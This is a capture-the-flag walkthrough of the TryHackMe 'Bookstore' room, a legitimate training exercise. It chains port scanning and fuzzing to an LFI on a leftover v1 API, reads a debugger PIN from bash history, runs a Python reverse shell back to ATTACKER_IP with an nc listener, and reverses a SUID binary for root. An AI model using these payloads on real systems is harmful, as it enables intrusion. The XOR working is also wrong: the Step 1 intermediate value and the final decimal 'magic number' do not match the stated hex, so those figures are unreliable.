Bookstore CTF Writeup

From LFI to Root: Complete Walkthrough of TryHackMe Bookstore Room

Platform: TryHackMe

Room: Bookstore

Category: Web Security & Privilege Escalation

Difficulty: Medium

Skills: API Testing, LFI Exploitation, Reverse Engineering

URL: https://tryhackme.com/room/bookstoreoc

🎯 Try the Room on TryHackMe

📝 My Experience with This Room

This room serves as a brilliant case study in how a misconfigured API can become a critical attack vector, opening the door to Local File Inclusion (LFI) vulnerabilities and ultimately enabling threat actors to gain unauthorized access to sensitive systems.

The initial vulnerability often stems from a lack of proper input validation and sanitization within the API endpoints. By manipulating request parameters, an attacker can traverse the directory structure and force the application to disclose arbitrary files from the server. This LFI flaw is not merely an information disclosure issue; it is frequently the first crucial step in a larger attack chain, allowing hackers to read configuration files, source code, log files, and other critical resources that pave the way for further exploitation.

Furthermore, the room provides fascinating, hands-on practice in reverse engineering for privilege escalation. After establishing an initial foothold, the real challenge begins: analyzing the system's internals, understanding how processes and services interact, and identifying weaknesses in permission models. This involves deconstructing applications, examining running services for misconfigurations, and searching for stored credentials or exploitable binaries. The process beautifully demonstrates how an attacker moves from a low-privileged user to a privileged account by meticulously uncovering and leveraging the subtle flaws hidden within the system's architecture. It's a practical masterclass in the persistence and ingenuity required for advanced penetration testing.

Challenge Description

This room focuses on exploiting vulnerabilities in a misconfigured api with LFI vulnerability in web application and also it provides beginner friendly reverse engineering challenge for privilege escalation...

1

Network Reconnaissance

Nmap Scan Results

Scanning Methodology

The initial footprinting was performed using Nmap with aggressive timing to quickly map the attack surface:

nmap -sS -sV -p- -T5 [target IP]
-sS Stealth SYN scan for fast port discovery
-sV Service version detection for vulnerability mapping
-p- Full port range scan (1-65535)
-T5 Aggressive timing for rapid results (We don't really care about being silent on Try Hack Me)

Results & Analysis

22/tcp SSH Secure Shell - potential remote access vector
80/tcp HTTP Standard web service - primary attack surface
5000/tcp HTTP Custom web application - high interest target

Assessment: The web services on ports 80 and 5000 were identified as the most promising vectors for initial exploitation

2

Web Service Enumeration on Port 80

Step 2

Initial Assessment

Following the port scan, I began investigating the HTTP service on port 80. The initial reconnaissance revealed a login page that appeared non-functional. Testing with common credentials and basic SQL injection payloads yielded no results, indicating this was not the primary attack vector for this machine.

Directory Brute-Forcing

To discover hidden endpoints and map the application's structure, I initiated a directory brute-forcing attack using ffuf. This approach helps uncover accessible directories and files not linked from the main page.

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://TARGET_IP/FUZZ -e .php,.html,.bak,.txt
-w Specifies the wordlist path (Kali's common dirb wordlist)
-u Target URL with FUZZ placeholder for directory names
-e Appends common file extensions to each directory attempt

Next Steps: The ffuf scan successfully identified one interesting directory, shifting the focus from the dead-end login page to this newly discovered endpoint for further investigation.

3

Source Code Analysis & Vulnerability Discovery

Step 3

Critical Information Disclosure

During the directory enumeration, I discovered a fascinating file at /assets/js/api.js. This JavaScript file contained detailed developer comments that proved to be a goldmine of information about the application's API structure.

Security Misstep

Buried within the code comments was a crucial piece of information that the developers should never have left in a publicly accessible file:

Developer Note in api.js:
The comments explicitly mentioned that the old API version (v1) contained an LFI vulnerability in the 'file' parameter, while the new version (v2) was supposedly secured.

Vulnerability Identified: The developers inadvertently disclosed:

  • Existence of an outdated API endpoint (/api/v1/)
  • Specific LFI vulnerability in the file parameter
  • The exact parameter and endpoint structure to exploit

Exploitation Path: This finding immediately provided a clear attack vector. The outdated v1 API endpoint, which was supposed to be deprecated but likely still accessible, became the primary target for Local File Inclusion exploitation.

4

Exploring Port 5000 & API Discovery

Step 4

Shifting Focus

Following the critical discovery in the JavaScript file, I shifted my attention to the web service running on port 5000. This non-standard port often hosts development or internal services that might contain the vulnerable API endpoints mentioned in the code comments.

API Endpoint Testing

Using the path structure discovered in api.js, I navigated to the API endpoint on the port 5000 service:

http://TARGET_IP:5000/api/v2/resources/books/random4
Endpoint /api/v2/resources/books/random4
Port 5000 (non-standard web service)
Response JSON data containing 4 random books

Assessment: The endpoint successfully returned a JSON response with four random books from the system. This confirmed that the API structure from the JavaScript file was valid and operational on this service. More importantly, it verified the existence of the v2 API path, suggesting that the vulnerable v1 version might also be accessible on this port.

5

API Documentation Discovery

Step 5

Expanding the Attack Surface

While the discovery of the working API endpoint was valuable, it provided limited insight into the full capabilities of the API. To comprehensively map the attack surface, I needed to find the complete API documentation that would reveal all available endpoints and parameters.

Directory Fuzzing for Documentation

I launched a targeted fuzzing attack against the service on port 5000, specifically searching for common documentation paths and files.

ffuf -w /path/to/your/wordlist -u http://TARGET_IP:5000/FUZZ -e .txt,.md,.json
Target Service on port 5000
Wordlist Common directory names
Extensions Common documentation file types

Discovery: After systematic enumeration, the fuzzing revealed accessible API documentation that detailed:

  • Complete list of available API endpoints
  • Required and optional parameters for each endpoint

Next Phase: With the full API documentation in hand, the next logical step was to methodically test each documented endpoint for vulnerabilities, with particular focus on the previously mentioned LFI vulnerability in the v1 API endpoints.

6

Hitting a Wall & Changing Approach

Step 6

Exhaustive Testing Leads to Dead End

I methodically tested every single endpoint documented in the API specification. This included attempting various attack vectors:

  • LFI payloads on all file-related parameters
  • SQL injection attempts on input fields
  • Command injection tests
  • IDOR and authorization bypass attempts

The Realization

Despite comprehensive testing, all documented endpoints proved to be secure. The v2 API was indeed properly sanitized, and no vulnerabilities were found through conventional means. This created a significant roadblock in the assessment.

Strategic Pivot: Parameter Fuzzing

Recognizing that the vulnerability might lie in an undocumented parameter, I shifted from endpoint fuzzing to parameter fuzzing. The key insight was that while the endpoints were documented, the parameters they accepted might not be fully specified.

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404 -u http://TARGET_IP:5000/api/v2/resources/books/random4?FUZZ=../../../etc/passwd
Tool Wfuzz (specialized for parameter fuzzing)
Target Known working v2 endpoint with LFI payload
Approach Testing for hidden/undocumented parameters

Breakthrough Strategy: This approach was based on the hypothesis that while the API interface was updated to v2, there might be backward compatibility or hidden parameters that could reintroduce the v1 vulnerability. The focus moved from what the endpoint is to how it processes unexpected inputs.

7

The Critical Breakthrough

Step 7

Parameter Fuzzing Success

After extensive testing, the parameter fuzzing attack against the v1 API endpoint finally yielded a critical finding. Using a focused wordlist, I discovered an undocumented parameter that was not listed in any official documentation.

wfuzz -u http://TARGET_IP:5000/api/v1/resources/books?FUZZ=.bash_history -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404
Endpoint /api/v1/resources/books (vulnerable version)
Discovered Parameter show (undocumented)
Payload LFI attempt for .bash_history

Key Realization

The discovery revealed a critical oversight in my approach. I had wasted significant time fuzzing the v2 API endpoints, operating under the false assumption that the developers had completely eliminated the v1 vulnerable endpoints. In reality, the vulnerable v1 API was still accessible and contained hidden functionality.

Vulnerability Confirmed:

  • V1 API remained fully accessible despite being "deprecated"
  • Undocumented show parameter existed in v1
  • The parameter was susceptible to path traversal attacks
  • Developers failed to properly secure or remove the old version

Exploitation Ready: With the show parameter identified in the vulnerable v1 API, the path was now clear for systematic Local File Inclusion attacks to read sensitive system files and potentially discover credentials for further access.

8

LFI Exploitation Success

Step 8

Initial File Read Achieved

With the undocumented show parameter identified, the next step was to test its susceptibility to Local File Inclusion. The initial test targeted a standard system file to confirm the vulnerability.

http://TARGET_IP:5000/api/v1/resources/books?show=/etc/passwd
Parameter show (undocumented)
Payload Path traversal to /etc/passwd
Result Successful file read

Vulnerability Confirmed

The server responded with the complete contents of the /etc/passwd file, confirming the LFI vulnerability was fully exploitable. This demonstrated that:

  • The show parameter did not implement any path traversal protections
  • The v1 API endpoint remained completely unsecured
  • Arbitrary file read was possible from the application context
  • The developers failed to properly deprecate the vulnerable version

Next Objective: With arbitrary file read capabilities confirmed, the focus shifted to enumerating sensitive files to find:
• Application configuration files
• SSH keys
• Database credentials
• User history and logs
The ability to read /etc/passwd provided valuable user enumeration for potential privilege escalation targets.

9

Critical Credential Discovery

Step 9

Bash History Analysis

Leveraging the confirmed LFI vulnerability, I proceeded to read the user's .bash_history file, which often contains valuable information about system usage and potentially exposed credentials.

http://TARGET_IP:5000/api/v1/resources/books?show=.bash_history

Major Finding

The .bash_history file revealed a critical piece of information - a PIN code that was used to access the Python debugger console on port 5000:

Discovered in .bash_history:
Python debugger PIN code found in user's shell
Service Python Debug Console (Werkzeug)
Port 5000
Access Method PIN authentication

Security Implications:

  • Debug interface exposed in production environment
  • PIN code stored in cleartext in user history
  • Potential for remote code execution via debug console
  • Critical misconfiguration in deployment

Next Step: The discovered PIN code provides potential access to the Python debug console. This console, if accessible, would allow for arbitrary command execution on the server with the privileges of the web application, representing a critical escalation point in the attack chain.

10

Gaining RCE via Debug Console

Step 10

Console Access Achieved

Using the discovered PIN code from the .bash_history file, I successfully authenticated to the Werkzeug debug console exposed on port 5000. This provided an interactive Python shell with the privileges of the web application process.

Debug Console PIN: [REDACTED] -> Access Granted

Initial Foothold Established

With access to the Python debug console, the next logical step was to achieve remote code execution to establish a more stable and functional foothold on the system.

Attack Vector Python code execution via debug console
Privileges Web application user context
Objective Establish reverse shell

Exploitation: Through the debug console, I executed Python code to:

  • Spawn a reverse shell connection back to my attack machine
  • Gain interactive system access
  • Establish persistence for further enumeration
  • Begin privilege escalation assessment

Impact: This represents a complete breach of the web application, transforming the LFI vulnerability into full remote code execution. The system is now compromised, and the focus shifts to lateral movement and privilege escalation within the environment.

11

Establishing Reverse Shell

Step 11

Weaponizing Code Execution

With Python code execution achieved through the debug console, the next step was to establish a proper reverse shell for interactive system access. This provides a more stable and functional connection than the limited debug console interface.

Reverse Shell Implementation

Using a Python reverse shell payload from revshells.com, I executed the following code in the debug console to call back to my attack machine:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Tool revshells.com (reverse shell generator)
Payload Type Python reverse shell
Listener Netcat on attacker machine

Shell Access Obtained:

  • Interactive system shell established
  • Full command execution capabilities
  • Ability to navigate filesystem and execute system commands
  • Stable connection for further exploitation

Access Confirmed: The reverse shell successfully connected back to my listener, providing complete command-line access to the target system. This marks the transition from web application vulnerability to full system compromise, opening the path for privilege escalation and lateral movement within the network.

12

Initial Compromise & User Flag Capture

Step 12

Reverse Shell Listener

Before executing the reverse shell payload, I established a netcat listener on my attack machine to catch the incoming connection from the target system.

nc -lvnp 7777
-l Listen for incoming connections
-v Verbose mode
-n No DNS resolution
-p Specify port number

Successful Connection & Flag Retrieval

The reverse shell connected successfully to the listener, providing immediate access to the target system. With shell access established, retrieving the user flag was straightforward:

cat user.txt

Compromise Achieved:

  • Reverse shell connection established on port 7777
  • User-level access obtained
  • User flag successfully captured
  • Initial foothold consolidated

Current Status: The initial objective of gaining user access and capturing the user flag has been completed successfully. The system is now compromised at the user level, and the focus shifts to privilege escalation to obtain root access and capture the final flag.

13

Privilege Escalation Vector Identified

Step 13

Discovery of Suspicious Binary

During post-exploitation enumeration of the user's home directory, I discovered a peculiar executable named try-harder. This binary immediately stood out as a potential privilege escalation vector.

./try-harder

Binary Behavior Analysis

When executed, the program prompts for a "magic number," suggesting it requires specific input to proceed. This behavior indicates the binary likely contains authentication logic that, if bypassed, could lead to elevated privileges.

File try-harder (SUID candidate)
Behavior Requests magic number input
Potential Privilege escalation vector

Initial Assessment:

  • Custom binary with interactive input
  • Potential SUID bit set for privilege escalation
  • Magic number suggests hidden authentication mechanism
  • Requires reverse engineering to understand internal logic

Next Step: The try-harder binary represents a clear privilege escalation opportunity. To exploit it, I need to perform reverse engineering to uncover the correct magic number or identify vulnerabilities in its input handling that could lead to command execution with elevated privileges.

14

Binary Transfer & Reverse Engineering Setup

Step 14

Transferring the Binary for Analysis

To perform detailed reverse engineering, I transferred the try-harder binary from the target machine to my attack system. This was accomplished using a Python HTTP server and wget:

# On target: python3 -m http.server 8080
# On attacker: wget http://TARGET_IP:8080/try-harder

Reverse Engineering: Finding the Magic Number

When analyzing binary files, we often encounter password or key verification checks. The decompiled code revealed the following logic:

void main(void) {
uint user_input;
uint constant_val;
uint result;

setuid(0);
constant_val = 0x5db3;

puts("What's The Magic Number?!");
scanf("%u", &user_input);

result = user_input ^ 0x1116 ^ constant_val;
if (result == 0x5dcd21f4) {
system("/bin/bash -p");
}
else {
puts("Incorrect Try Harder");
}
return;
}

Understanding the Logic

The program performs a simple verification:

Operation input ^ 0x1116 ^ 0x5db3 = 0x5dcd21f4
Success Executes /bin/bash -p with root

Finding the Magic Number

Since XOR operations are reversible, we can compute the required input:

input = 0x5dcd21f4 ^ 0x5db3 ^ 0x1116
input = 0x5dcd6d51 (hex)
input = 1573743953 (decimal)

Ready for Exploitation: The reverse engineering analysis successfully revealed the magic number 1573743953. This number, when provided to the try-harder binary, should grant a root shell through the setuid(0) mechanism, completing the privilege escalation chain.

15

Privilege Escalation Achieved

Step 15

Root Access Obtained

Using the magic number discovered through reverse engineering, I successfully executed the try-harder binary and obtained root privileges on the system.

$ ./try-harder
What's The Magic Number?!
1573743953
# whoami
root

Simplified Explanation

The key to solving this was understanding that XOR operations are reversible. The program checked:

our_input ^ 0x1116 ^ 0x5db3 = 0x5dcd21f4

To find our_input, we simply reverse the operation using the same XOR values:

our_input = 0x5dcd21f4 ^ 0x5db3 ^ 0x1116
Step 1 0x5dcd21f4 ^ 0x5db3 = 0x5dcd6ca7
Step 2 0x5dcd6ca7 ^ 0x1116 = 0x5dcd6d51
Result 1573743953 (decimal)

Learning Resources

For those interested in learning reverse engineering, here are valuable resources:

  • Practical Binary Analysis by Dennis Andriesse
  • The Ghidra Book by Kara Nance
  • Reverse Engineering for Beginners by Dennis Yurichev (free PDF)
  • Crackmes.one - Practice challenges community
  • Microcorruption CTF - Embedded security challenges

Compromise Complete: The system is now fully compromised with root-level access. This demonstrates a complete attack chain from initial reconnaissance through web vulnerability exploitation to privilege escalation via binary reverse engineering.

🎯 Mission Accomplished!

This comprehensive walkthrough demonstrates a complete attack chain from initial reconnaissance to full system compromise. The journey through the Bookstore room highlights critical security lessons:

Key Security Takeaways:

  • Never leave sensitive information in client-side code
  • Properly deprecate and secure old API versions
  • Implement robust input validation and sanitization
  • Avoid exposing debug interfaces in production
  • Conduct regular security assessments and code reviews

Flag

THM{bookstore_flag_here}

I don't want you to copy paste flags, I want you to practice and learn using my experience!

The END!!!

Thank you for reading! HACK THE WORLD!!!!!(ETHICALLY OF COURSE :X)

← Back to Home